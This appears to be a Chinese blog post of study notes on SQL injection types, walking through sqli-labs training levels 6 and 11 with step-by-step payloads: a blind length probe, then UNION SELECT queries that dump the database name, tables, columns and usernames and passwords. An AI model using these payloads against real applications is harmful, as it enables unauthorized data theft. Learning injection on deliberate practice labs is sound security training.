Web漏洞-类型及提交注入

参数类型:

数字、字符、搜索、JSON等

请求方法:

GET/POST/COOKIE/REQUEST/HTTP头等

$SERVER详解

https://www.cnblogs.com/wangshuazi/p/9765012.html

演示案例1:sqli-labs 6

1.先判断注入类型----为”的字符型

2.由回显可知是盲注,接着查数据库长度:8

Payload:id=1" and (length(database()))=8--+

后续操作依次对照sqli-labs 5

演示案例2:sqli-labs 11

1. 输入admin 、admin有回显页面

2. 判断数据类型---字符型

输入admin’ and 1=1# 正常

admin’ and 1=2# 失败

说明注入类型为字符型

3. 判断注入点:1,2

Payload:admin' and 1=2 union select 1,2#

4. 爆出数据库名字--security

Payload:admin’ and 1=2 union select database(),2#

5. 爆出表名---

Payload:admin’ and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=’security’#

6. 爆字段名

Payload:admin’ and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name=’users’#

7. 爆数据

Payload:admin' and 1=2 union select username,password from users#

演示案例3:sqli-labs 20

json格式详解:

https://www.cnblogs.com/hwtblog/p/8483573.html

(json注入常见于app中)

相关推荐

  1. web安全——sql注入漏洞知识点总结

    2024-03-25 23:08:02       18 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-25 23:08:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-25 23:08:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-25 23:08:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-25 23:08:02       20 阅读

热门阅读

  1. C++开源项目与工具:深入探索与高效利用

    2024-03-25 23:08:02       15 阅读
  2. 送给35岁程序员以及12年后的自己

    2024-03-25 23:08:02       16 阅读
  3. LEETCODE-DAY32

    2024-03-25 23:08:02       16 阅读
  4. ARM和AMD区别

    2024-03-25 23:08:02       16 阅读
  5. dji esdk开发(1)Edge SDK 简介、配置demo运行

    2024-03-25 23:08:02       18 阅读
  6. 2024了,华为HCIP认证还值得考吗?

    2024-03-25 23:08:02       25 阅读
  7. PTA:7-81 电费

    2024-03-25 23:08:02       15 阅读
  8. 面向对象编程(一)

    2024-03-25 23:08:02       17 阅读
  9. C语言——函数

    2024-03-25 23:08:02       18 阅读